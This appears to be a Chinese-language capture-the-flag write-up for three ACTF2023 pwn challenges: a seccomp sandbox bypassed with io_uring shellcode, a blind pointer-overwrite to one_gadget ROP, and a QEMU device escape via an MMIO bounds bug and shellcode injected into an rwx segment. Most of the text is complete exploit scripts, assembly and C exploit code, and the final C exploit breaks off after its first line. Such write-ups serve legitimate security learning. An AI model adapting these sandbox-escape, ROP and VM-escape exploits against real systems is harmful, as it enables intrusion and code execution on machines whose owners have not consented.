0%

ACTF2023

master-of-orw

1
2
3
4
5
6
master-of-orw: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9ca858a89af65e342074ea6e69e1f20ddba93d11, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Full RELRO,NX,PIE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x19 0xc000003e if (A != ARCH_X86_64) goto 0027
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x16 0xffffffff if (A != 0xffffffff) goto 0027
0005: 0x15 0x15 0x00 0x00000000 if (A == read) goto 0027
0006: 0x15 0x14 0x00 0x00000001 if (A == write) goto 0027
0007: 0x15 0x13 0x00 0x00000002 if (A == open) goto 0027
0008: 0x15 0x12 0x00 0x00000011 if (A == pread64) goto 0027
0009: 0x15 0x11 0x00 0x00000012 if (A == pwrite64) goto 0027
0010: 0x15 0x10 0x00 0x00000013 if (A == readv) goto 0027
0011: 0x15 0x0f 0x00 0x00000014 if (A == writev) goto 0027
0012: 0x15 0x0e 0x00 0x00000028 if (A == sendfile) goto 0027
0013: 0x15 0x0d 0x00 0x0000002c if (A == sendto) goto 0027
0014: 0x15 0x0c 0x00 0x0000002e if (A == sendmsg) goto 0027
0015: 0x15 0x0b 0x00 0x0000003b if (A == execve) goto 0027
0016: 0x15 0x0a 0x00 0x00000101 if (A == openat) goto 0027
0017: 0x15 0x09 0x00 0x00000127 if (A == preadv) goto 0027
0018: 0x15 0x08 0x00 0x00000128 if (A == pwritev) goto 0027
0019: 0x15 0x07 0x00 0x0000012f if (A == name_to_handle_at) goto 0027
0020: 0x15 0x06 0x00 0x00000130 if (A == open_by_handle_at) goto 0027
0021: 0x15 0x05 0x00 0x00000142 if (A == execveat) goto 0027
0022: 0x15 0x04 0x00 0x00000147 if (A == preadv2) goto 0027
0023: 0x15 0x03 0x00 0x00000148 if (A == pwritev2) goto 0027
0024: 0x15 0x02 0x00 0x000001ac if (A == 0x1ac) goto 0027
0025: 0x15 0x01 0x00 0x000001b5 if (A == 0x1b5) goto 0027
0026: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0027: 0x06 0x00 0x00 0x00000000 return KILL

漏洞分析

执行 shellcode,但是有沙盒:

1
2
3
4
5
6
code = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
puts("Input your code");
read(0, code, 0x400uLL);
puts("Wish you a good journey");
box();
((void (*)(void))code)();

入侵思路

在 openat 和 open 都被 ban 了的情况下,只能使用 io_uring 来进行 ORW

io_uring(Unified Resource Gestion)是一种 Linux 内核中的新特性,它提供了一种高性能、低延迟的 I/O 调度机制

基于共享内存,io_uring 维护了两个与内核共享的队列:

  • submit 队列:用于存储待提交的 I/O 请求
  • completion 队列:用于存储 I/O 请求的完成状态

submit 队列中的 I/O 请求与 completion 队列中的 I/O 完成事件之间也没有固定的对应关系,内核会根据 I/O 请求的类型、文件描述符、线程池等信息自动将 I/O 请求分配到合适的队列中

  • 由于 submit / completion 队列属于用户态程序与内核的共享空间
  • 内核只需要读取 submit 队列中的参数就可以执行相应的内核态函数,不需要执行系统调用
  • 当数据执行完毕时,内核又会将返回数据写入 completion 队列

先给出一个 io_uring ORW 的案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// gcc -o io_uring io_uring.c -static -luring -fno-stack-protector -no-pie -g
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <liburing.h>
#include <unistd.h>
#include <syscall.h>
#include <sys/prctl.h>
#define QUEUE_DEPTH 1
int main() {
struct io_uring ring;
struct io_uring_sqe *sqe;
struct io_uring_cqe *cqe;
int fd, ret;
char buffer[4096];
io_uring_queue_init(QUEUE_DEPTH, &ring, 0);
sqe = io_uring_get_sqe(&ring);
io_uring_prep_openat(sqe, AT_FDCWD, "./flag", O_RDONLY, 0);
io_uring_sqe_set_data(sqe, NULL);
ret = io_uring_submit(&ring);
ret = io_uring_wait_cqe(&ring, &cqe);
fd = cqe->res;
sqe = io_uring_get_sqe(&ring);
io_uring_prep_read(sqe, fd, buffer, sizeof(buffer), 0);
io_uring_sqe_set_data(sqe, NULL);
ret = io_uring_submit(&ring);
ret = io_uring_wait_cqe(&ring, &cqe);
sqe = io_uring_get_sqe(&ring);
io_uring_prep_write(sqe, 1, buffer, strlen(buffer), 0);
io_uring_sqe_set_data(sqe, NULL);
ret = io_uring_submit(&ring);
ret = io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
io_uring_queue_exit(&ring);
close(fd);
sleep(1);
return 0;
}

我们可以进行单步调试,观察并记录上述代码的执行流程

io_uring_queue_init:核心初始化

1
io_uring_queue_init(1u, &ring, 0); /* 一次sys_unk_425,两次sys_mmap */
  • sys_unk_425:初始化 io_uring 的系统调用
1
2
3
4
5
0x402aca <__io_uring_queue_init_params+90>     syscall  <SYS_<unk_425>>
rdi: 0x1
rsi: 0x7fffffffc9f0 ◂— 0x0
rdx: 0x0
r10: 0x2
  • sys_mmap:创建 submit 队列
1
2
3
4
5
6
7
0x401235 <io_uring_queue_mmap+149>    syscall  <SYS_mmap>
addr: 0x0
len: 0x184
prot: 0x3
flags: 0x8001
fd: 0x3 (anon_inode:[io_uring])
offset: 0x0
  • sys_mmap:创建 completion 队列
1
2
3
4
5
6
7
0x4012c9 <io_uring_queue_mmap+297>    syscall  <SYS_mmap>
addr: 0x0
len: 0x40
prot: 0x3
flags: 0x8001
fd: 0x3 (anon_inode:[io_uring])
offset: 0x10000000

io_uring_get_sqe:获取 io_uring_sqe 结构体的指针(该结构体用于描述一个 submit 条目)

1
sqe = io_uring_get_sqe(&ring);

io_uring_prep_openat / io_uring_prep_read / io_uring_prep_write:注册 open / read / write

1
2
3
io_uring_prep_openat(sqe, -100, "./flag", 0, 0);
io_uring_prep_read(sqe, fd, buffer, 0x1000u, 0LL);
io_uring_prep_write(sqe, 1, buffer, len, 0LL);
  • 将信息填写入 submit / completion 队列,核心函数为 io_uring_prep_rw
1
2
3
4
5
6
0x402473 <io_uring_prep_rw+35>    mov    byte ptr [rax], dl
0x402475 <io_uring_prep_rw+37> mov rax, qword ptr [rbp - 0x10]
0x402479 <io_uring_prep_rw+41> mov byte ptr [rax + 1], 0
0x40247d <io_uring_prep_rw+45> mov rax, qword ptr [rbp - 0x10]
0x402481 <io_uring_prep_rw+49> mov word ptr [rax + 2], 0
0x402487 <io_uring_prep_rw+55> mov rax, qword ptr [rbp - 0x10]

io_uring_submit:向内核提交注册信息

1
ret = io_uring_submit(&ring);
  • sys_unk_426:提交注册信息的系统调用
1
2
3
4
5
0x40466b <io_uring_submit+123>    syscall  <SYS_<unk_426>>
rdi: 0x3
rsi: 0x1
rdx: 0x0
r10: 0x0

io_uring_wait_cqe:获取 io_uring_cqe 结构体的指针(该结构体用于描述一个 completion 条目)

1
ret = io_uring_wait_cqe(&ring, &cqe);

接下来就可以 IDA 分析二进制文件,提取出有效的汇编指令片段:

  • shellcode 各个函数的汇编代码尽量和二进制文件一致
  • 对于 io_uring_queue_init / io_uring_submit 函数需要保证系统调用的参数一致
  • 对于 io_uring_prep_rw 则需要保证填写的数据一致
  • 对于 io_uring_get_sqe / io_uring_wait_cqe 只需要提取基本的汇编代码即可
  • 函数 io_uring_prep_read 可以被 mmap 替代

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './master-of-orw1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x15BD)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()

code = """
lea rax,[rip+0x3f9-7]
xor edx,edx
push 0x1
pop rdi
movq xmm2,rax
sub rsp,0x108
lea rbx,[rsp+0x20]
lea rbp,[rsp+0x40]
movq xmm0,rbx
push rbp
pop rsi
lea r12,[rsp+0x18]
punpcklqdq xmm0,xmm2
movaps XMMWORD PTR [rsp],xmm0
sub rsp,0x88
mov r8,rdi
xor eax,eax
mov rdx,rsp
mov rdi,r8
push r12
push rbp
mov rbp,rdx
push rbx
mov rbx,rsi
mov rsi,rdx
sub rsp,0x10
mov esi,edi
mov rdi,0x1a9
call syscall_func

pop r15
lea rdi,[rbx+0x8]
mov r12d,eax
and rdi,0xfffffffffffffff8
mov QWORD PTR [rbx],0x0
mov rdx,rbx
mov QWORD PTR [rbx+0xd0],0x0
lea rcx,[rbx+0x68]
mov edi,r12d
mov r13d,edi
push r12
mov r12,rcx
push rbp
mov rbp,rdx
push rbx
mov rbx,rsi
push r15
mov edx,DWORD PTR [rsi]
mov eax,DWORD PTR [rsi+0x40]
mov esi,DWORD PTR [rsi+0x4]
lea rax,[rax+rdx*4]
mov edx,DWORD PTR [rbx+0x64]
shl rsi,0x4
mov QWORD PTR [rbp+0x48],rax
add rsi,rdx
mov QWORD PTR [rcx+0x38],rsi
mov rsi,QWORD PTR [rbp+0x48]
mov QWORD PTR [r12+0x38],rsi
mov r8d,r13d
push 0x8001
pop rcx
push 0x3
pop rdx
xor edi,edi
call mmap64_func

mov QWORD PTR [rbp+0x50],rax
mov QWORD PTR [r12+0x40],rax
mov edx,DWORD PTR [rbx+0x28]
mov esi,DWORD PTR [rbx]
mov r9d,0x10000000
mov r8d,r13d
push 0x8001
pop rcx
shl rsi,0x6
push 0
pop r15
loop1:
add rdx,rax
mov QWORD PTR [rbp+r15*8],rdx
mov edx,DWORD PTR [rbx+0x2c+r15*4]
inc r15
cmp r15, 6
jnz loop1
add rax,rdx
mov rdx,3
mov QWORD PTR [rbp+0x30],rax
call mmap64_func

mov QWORD PTR [rbp+0x38],rax
mov edx,DWORD PTR [rbx+0x50]
mov rax,QWORD PTR [r12+0x40]
mov r15,0
loop2:
add rdx,rax
mov QWORD PTR [r12+r15*8],rdx
mov edx,DWORD PTR [rbx+0x54+r15*4]
inc r15
cmp r15, 4
jnz loop2
add rdx,rax
mov QWORD PTR [r12+0x28],rdx
mov edx,DWORD PTR [rbx+0x64]
add rdx,rax
mov QWORD PTR [r12+0x30],rdx
mov edx,DWORD PTR [rbx+0x68]
add rax,rdx
mov QWORD PTR [r12+0x20],rax
pop r15
pop rbx
pop rbp
pop r12
mov r13d,eax
mov eax,DWORD PTR [rbp+0x8]
mov DWORD PTR [rbx+0xc4],r12d
mov DWORD PTR [rbx+0xc0],eax
mov eax,DWORD PTR [rbp+0x14]
mov DWORD PTR [rbx+0xc8],eax
pop r15
pop rbx
pop rbp
pop r12
add rsp,0x88
mov rdi,rbp
call io_uring_get_sqe_func

mov BYTE PTR [rax],0x12
mov WORD PTR [rax+1],0
mov DWORD PTR [rax+4],0xffffff9c
mov QWORD PTR [rax+0x8],0
mov rdx,[rsp+8]
mov QWORD PTR [rax+0x10],rdx
mov QWORD PTR [rax+0x18],0
mov QWORD PTR [rax+0x28],0x0
pxor xmm0,xmm0
movups XMMWORD PTR [rax+0x30],xmm0
call io_uring_submit_func

mov rdi,rbp
call io_uring_wait_cqe

xor r9d,r9d
mov rdx,0x2000
mov rdx,QWORD PTR [rsp+0xa8]
mov ecx,0x2
mov esi,0x30
mov r8d,DWORD PTR [rax+0x8]
mov eax,DWORD PTR [rdx]
add eax,0x1
mov DWORD PTR [rdx],eax
mov edx,0x3
call mmap64_func

mov r15,rax
mov rdi,rbp
call io_uring_get_sqe_func

mov BYTE PTR [rax],0x17
mov WORD PTR [rax+1],0
mov DWORD PTR [rax+4],1
mov QWORD PTR [rax+0x8],0
mov QWORD PTR [rax+0x10],r15
mov QWORD PTR [rax+0x18],0x30
mov QWORD PTR [rax+0x28],0x0
pxor xmm0,xmm0
movups XMMWORD PTR [rax+0x30],xmm0
call io_uring_submit_func
loop3:
nop
jmp loop3

io_uring_get_sqe_func:
mov rax,QWORD PTR [rdi]
mov ecx,DWORD PTR [rax]
mov eax,DWORD PTR [rdi+0x44]
lea edx,[rax+0x1]
mov rcx,QWORD PTR [rdi+0x10]
and eax,DWORD PTR [rcx]
mov DWORD PTR [rdi+0x44],edx
add rax,QWORD PTR [rdi+0x38]
ret

io_uring_submit_func:
push r15
mov r10,QWORD PTR [rdi+0x8]
mov edx,DWORD PTR [rdi+0x40]
mov r8d,DWORD PTR [rdi+0x44]
mov eax,DWORD PTR [r10]
sub r8d,edx
mov rcx,QWORD PTR [rdi+0x10]
mov r9,QWORD PTR [rdi+0x30]
add r8d,eax
mov ecx,DWORD PTR [rcx]
nop DWORD PTR [rax+0x0]
mov esi,eax
and edx,ecx
add eax,0x1
and esi,ecx
mov DWORD PTR [r9+rsi*4],edx
mov edx,DWORD PTR [rdi+0x40]
add edx,0x1
mov DWORD PTR [rdi+0x40],edx
mov DWORD PTR [r10],eax
mov rdx,QWORD PTR [rdi]
sub eax,DWORD PTR [rdx]
xor edx,edx
mov esi,eax
mov eax,DWORD PTR [rdi+0xc0]
mov ecx,eax
and ecx,0x2
mov r8d,ecx
or r8d,0x1
test al,0x1
cmovne ecx,r8d
mov edi,DWORD PTR [rdi+0xc4]
mov r9,r8
mov r8d,ecx
mov ecx,edx
mov edx,esi
mov esi,edi
mov edi,0x1aa
push r15
push 0x8
call syscall_func
pop rdx
pop rcx
pop r15
ret

syscall_func:
mov rax,rdi
mov rdi,rsi
mov rsi,rdx
mov rdx,rcx
mov r10,r8
mov r8,r9
mov r9,QWORD PTR [rsp+0x8]
syscall
ret

io_uring_wait_cqe:
mov rax,QWORD PTR [rdi+0x98]
ret

mmap64_func:
mov r10d,ecx
push 0x9
pop rax
syscall
ret
"""

shellcode = asm(code)
print(hex(len(shellcode)))

sla("Input your code",shellcode + b"\x00" * (0x3f9 - len(shellcode)) + b"./flag\x00")

p.interactive()

blind

本题目没有二进制文件

漏洞分析

本题目实现了一个简单的交互系统:

1
[a]aaaaa
  • A/D:左移/右移 [],用以选中不同的对象
  • W/S:使目标对象的 asicc 值 +1/-1
  • 空格:大写字母/小写字母的切换
  • 回车:执行程序

程序在 aaaaaa 字符后有一个指针,指向了 aaaaaa 字符的地址,后续的 printf 将会使用该地址来打印数据

程序没有限制 A/D 的范围,导致我们可以将 [] 移动到 aaaaaa 后的地址上,然后使用 W/S 来修改该地址,从而使后续的 printf 输出错误的数据

入侵思路

在比赛时测试的内存结构如下:

1
aaaaaaaa pointer heap_addr libc_addr stack_addr
  • 经过测试,这个 libc_addr 就是返回地址

泄露的 libc_base 如下:

1
2
[+] leak_addr >> 0x7f4a645e2d0a
[+] __libc_start_main >> 0x7f4a645e2d0a

查找到的 libc 版本如下:

泄露 libc_base 后,我们就可以继续移动 [] 到后续的返回地址处,使用 W/S 来修改返回地址为 ROP 链

最后有一个十分恶心的问题,题目远程 /bin/sh 的偏移和本地 libc 的不同,这里只能尝试将 RDI 设置为某个明显的字符串,然后通过这个字符串的位置来逐步计算 /bin/sh 的偏移

  • 比赛时没有找到 /bin/sh,而是找到一个末尾是 sh 的字符串
  • 然后计算 sh 的偏移执行 system("sh") 拿到 shell

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

#elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote("120.46.65.156",32104)

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
#pause()

def cmd(op):
sla(">",str(op))

sleep(1)
sla('>',"8d23w") # [10,15]d

# aaaaaaaa pointer heap_addr libc_addr stack_addr

# 80 24 ee 19 2e 7f

one_gadgets = [0xcbd1a,0xcbd1d,0xcbd20,0xcbcba,0xcbcbd,0xcbcc0]

leak_addr = u64(ru("\x7f")[-5:].ljust(8,b"\x00"))
leak_addr = (leak_addr)+0x7f0000000000
libc_base = leak_addr - 0x026d0a
one_gadget = libc_base + one_gadgets[5]
system = libc_base + 0x048e50

offset = one_gadget - leak_addr
offset2 = one_gadget - system
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))
success("offset >> "+hex(offset))
success("offset2 >> "+hex(offset2))

sla('>',"7a"+str(offset%0x100)+"w")
sla('>',"d"+str((offset>>8)%0x100)+"w")
sla('>',"d"+str((offset>>16)%0x100)+"w")
success("one_gadget >> "+hex(one_gadget))
success("system >> "+hex(system))
sla('>',"7d")

#debug()

p.interactive()

qemu playground - 2

第一次打 qemu 逃逸类的题目,先查看 qemu 版本并恢复符号:

1
2
QEMU emulator version 8.1.50 (v8.1.0-1639-g63011373ad-dirty)
Copyright (c) 2003-2023 Fabrice Bellard and the QEMU Project developers

下载后使用如下命令进行编译:

1
2
./configure
make -j8

利用 bindiff 和有符号的 qemu-system-x86_64 来恢复题目文件的符号

漏洞分析

qemu 逃逸一般在如下4个函数中出现 BUG:

  • pmio_read:读设备寄存器的物理地址(使用 in() 触发)
  • pmio_write:写设备寄存器的物理地址(使用 out() 触发)
  • mmio_read:读设备寄存器的虚拟地址(使用 mmap 映射物理内存,读这片区域时触发)
  • mmio_write:写设备寄存器的虚拟地址(使用 mmap 映射物理内存,写这片区域时触发)

MMIO:通过 kernel 提供的 sysfs,我们可以直接映射出设备对应的内存,具体方法是打开类似 /sys/devices/pci0000:00/0000:00:04.0/resource0 的文件

1
2
int  mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
  • 读写 mmio 内存区域就会触发 mmio_read / mmio_write

PMIO:使用特殊的 CPU 指令 in/out 执行 I/O 操作,这些指令可以读/写 1,2,4 个字节(outb, outw, outl),通过 iopl 和 ioperm 这两个系统调用对 port 的权能进行设置

1
iopl(3);
  • 使用 in/out 指令就会触发 pmio_read / pmio_write

程序限制的边界为 addr <= 0x40,可以覆盖堆指针后4字节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __fastcall actf_mmio_write(Node *opaque, unsigned __int64 addr, int val, int size)
{
if ( size == 4 )
{
if ( addr > 0x20 )
{
if ( addr <= 0x40 )
*(int *)((char *)opaque->data1 + addr) = val;
}
else
{
*(int *)((char *)opaque->data1 + addr) = val;
}
}
}

程序有 rwx 段:(不知道是题目设置的还是 qemu 自带的)

1
2
3
0x7f9bee400000     0x7f9bee401000 ---p     1000 0      [anon_7f9bee400]
0x7f9bee4ce000 0x7f9c2bfff000 rwxp 3db31000 0 [anon_7f9bee4ce]
0x7f9c2bfff000 0x7f9c2c000000 ---p 1000 0 [anon_7f9c2bfff]

qemu 的调试需要先使用如下命令关闭保护:

1
sudo sysctl kernel.yama.ptrace_scope=0

然后使用 gdb attach pid 进行调试

入侵思路

为了使 opaquet->field_A31 = 1 成立,我们需要先进行逆向:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
do
{
*(_DWORD *)keyt = v2;
keyt = (char *)keyt + 4;
}
while ( keyt != key2 );
index = -(int)data3;
do
{
data1_head = &data1;
keyt = key1;
data2 = _mm_loadu_si128((const __m128i *)opaquet->data2);
data1 = _mm_loadu_si128((const __m128i *)opaquet->data1);
do
{
re = (unsigned __int8)(*(_BYTE *)data1_head ^ data3->m128i_i8[0]);
keyt = (char *)keyt + 1;
v13 = *((char *)keyt - 1) ^ (index + (_BYTE)data3);
data3 = (const __m128i *)((char *)data3 + 1);
data1_head = (char *)data1_head + 1;
*((char *)keyt - 1) = v13;
*((char *)data1_head - 1) = v13 ^ re;
}
while ( keyt != key2 );
data1 = _mm_load_si128(&data1);
LOBYTE(index) = index + 0x11;
data2 = _mm_load_si128(&data2);
*data = _mm_loadu_si128(data3);
data[1] = _mm_loadu_si128(data3 + 1);
*(__m128i *)opaquet->data3 = data1;
*(__m128i *)opaquet->data4 = data2;
}
while ( (_BYTE)index != 0xAA - (_BYTE)data3 );
key2[0] = 0xABA29EC2A98DD89ALL;
*((_QWORD *)&cp + 1) = *(_QWORD *)opaquet->data1 ^ 0xABA29EC2A98DD89ALL;
key2[1] = 0xBBF1B4AB81B4A9D4LL;
*(_QWORD *)&cp = data->m128i_i64[1] ^ 0xBBF1B4AB81B4A9D4LL;
key2[2] = 0xFB92A48DB386FFA8LL;
key2[3] = 0xEFB491B8AFB4ABD3LL;
if ( cp == 0 && !(key2[2] ^ data[1].m128i_i64[0] | data[1].m128i_i64[1] ^ 0xEFB491B8AFB4ABD3LL) )
{
data1.m128i_i64[0] = 0x80EF69F1CBD00397LL;
*((_QWORD *)&cp + 1) = *(_QWORD *)opaquet->data3 ^ 0x80EF69F1CBD00397LL;
data1.m128i_i64[1] = 0xB2EB07859CDA52D3LL;
*(_QWORD *)&cp = data3->m128i_i64[1] ^ 0xB2EB07859CDA52D3LL;
data2.m128i_i64[0] = 0xEC9E22F5A5A07FA3LL;
data2.m128i_i64[1] = 0x4B36DF7B5B655A84LL;
if ( cp == 0 && !(data2.m128i_i64[0] ^ data3[1].m128i_i64[0] | data3[1].m128i_i64[1] ^ 0x4B36DF7B5B655A84LL) )
opaquet->field_A31 = 1;
}
opaquet->field_A30 = 0;

加密的正向逻辑就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def code1(index):
global key
global data
tmp = []
for i in range(32):
re = data[0*0x10+i] ^ data[2*0x10+i]

v13 = key[i] ^ ((i+index*0x11)&0xff)
key[i] = v13
data[i] = v13 ^ re

for i in range(32):
tmp.append(data[i+0x20])
data[i+0x20] = data[i]
data[i] = tmp[i]

for i in range(10):
code1(i)

我们可以直接用 z3 求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from z3 import *

data = [] # 0x40
key = [] # 0x20

x = Solver()
data = [BitVec(('ans[%s]' % i),8) for i in range(0x40)]
print(data)

for j in range(0x20):
if j % 4 == 0:
key.append(0x7f)
if j % 4 == 1:
key.append(0xac)
if j % 4 == 2:
key.append(0x34)
if j % 4 == 3:
key.append(0x12)

def code1(index):
global key
global data
tmp = []

for i in range(32):
re = data[0*0x10+i] ^ data[2*0x10+i]

v13 = key[i] ^ ((i+index*0x11)&0xff)
key[i] = v13
data[i] = v13 ^ re

for i in range(32):
tmp.append(data[i+0x20])
data[i+0x20] = data[i]
data[i] = tmp[i]

for i in range(10):
code1(i)

data2 = [0xABA29EC2A98DD89A,0xBBF1B4AB81B4A9D4,0xFB92A48DB386FFA8,0xEFB491B8AFB4ABD3,0x80EF69F1CBD00397,0xB2EB07859CDA52D3,0xEC9E22F5A5A07FA3,0x4B36DF7B5B655A84]
code = []

for i in range(8):
for j in range(8):
code.append(((data2[i]>>(j*8))&0xff))

for i in code:
print(hex(i)),
print("")

for i in range(0x40):
x.add(data[i]==code[i])

check = x.check()
ans = []
flag = []

for i in range(0x40):
ans.append(-1)
print(ans)

if(check):
model = x.model()
print(model)

得到解密密钥:

1
int data[0x10] = {1179927361, 860382075, 828328803, 1232559982, 1113548855, 1601790528, 1752183107, 1415541299, 1601447013, 1365208625, 1599425843, 2033478768, 1968124775, 828335182, 1095065380, 2099345747};

之后我尝试在 rwx 段上打断点,发现可以断上:

1
2
3
0x7f9bee4ce000    push   rbp
0x7f9bee4ce001 push rbx
0x7f9bee4ce002 push r12

然后利用堆上遗留的数据就可以很轻松地泄露 heap_base,由于 qemu heap 的偏移有随机化,只能扫描整个内存来尝试查找 rwx 段:

1
2
3
pwndbg> telescope 0x7f9bee4ce000
00:0000│ rip 0x7f9bee4ce000 ◂— push rbp /* 0x5641554154415355 */
01:00080x7f9bee4ce008 ◂— push r15 /* 0xc48148ef8b485741 */

泄露的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
for (int i = 0; i < 0x200000; i++)
{
uint64_t dump = 0;
mmio_write(0x40, target_addr);
dump += pmio_read(0x10);
mmio_write(0x40, target_addr + 4);
dump += pmio_read(0x10) * 0x100000000;

printf("%d: *(0x%x)=0x%lx \n", i,target_addr,dump);

if (dump == 0x5641554154415355)
{
shellcode_addr = target_addr;
printf("shellcode_addr >> 0x%x\n", shellcode_addr);
break;
}
target_addr -= 0x1000;
}

最后还要解决一个问题,rwx 段的执行频率很高(差不多每写一次都要执行一次),因此我们先在程序的正常代码后写入 shellcode

写好以后一次性覆盖程序的 ret 为 nop 从而执行 shellcode,下面是生成 shellcode 的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

arch = 64
context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

shellcode_open = shellcraft.pushstr("flag") + shellcraft.open("rsp")
shellcode_read = shellcraft.read("rax","rsp",60)
shellcode_write = shellcraft.write(1,"rsp",60)
shellcode= asm(shellcode_open+shellcode_read+shellcode_write)

data = ""
for i in shellcode:
data += ","+hex(i)

data = "{" + data[1:] + "};"
with open('shellcode.txt', 'w') as f:
f.write(data)
  • 由于 execve("/bin/sh") 没有交互,我这里只能写 ORW

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <stdio.h>

void * mmio;
int port_base = 0xc040;

void pmio_write(int addr, char val){ outb(val, port_base + addr); }
void mmio_write(int64_t addr, uint32_t value){ *(uint32_t *)(mmio + addr) = value;}
int pmio_read(int addr) { return inl(port_base + addr); }
int mmio_read(uint64_t addr){ return *(int *)(mmio + addr); }

int main(){
iopl(3);
